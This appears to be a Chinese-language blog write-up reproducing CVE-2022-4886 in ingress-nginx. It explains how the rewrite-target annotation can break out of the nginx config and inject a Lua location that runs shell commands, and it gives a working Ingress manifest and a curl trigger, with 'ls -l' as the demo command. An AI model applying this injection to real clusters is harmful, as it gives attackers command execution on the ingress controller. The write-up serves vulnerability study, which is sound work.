CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

bash 复制代码
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

复制代码
 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示

复制代码
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

在容器中可以看到

复制代码
 curl --header "Host: k8s.evil.me" http://10.98.219.148/
相关推荐
emovie13 小时前
Python函数基础
linux·数据库·python
somi713 小时前
ARM-驱动-10自定义通信协议
linux·arm开发·自用
j_xxx404_13 小时前
Linux:缓冲区
linux·运维·c++·后端
亚空间仓鼠13 小时前
Ansible之Playbook(六):实例部署实战
linux·网络·ansible
犽戾武13 小时前
VR遥操作机械臂系统:核心算法与数学方法全解析
linux·人工智能
MIXLLRED13 小时前
随笔——ROS Ubuntu版本变化详解
linux·ubuntu·机器人·ros
爱学习的小囧13 小时前
ESXi CPU 使用率高怎么排查?esxtop 一键定位占用高的虚拟机与进程
java·linux·运维·服务器·网络·虚拟化
Fanfanaas13 小时前
Linux 进程篇 (四)
linux·运维·服务器·开发语言·c++·学习
发发就是发14 小时前
触摸屏驱动调试手记:从I2C鬼点到坐标漂移的实战录
linux·服务器·驱动开发·单片机·嵌入式硬件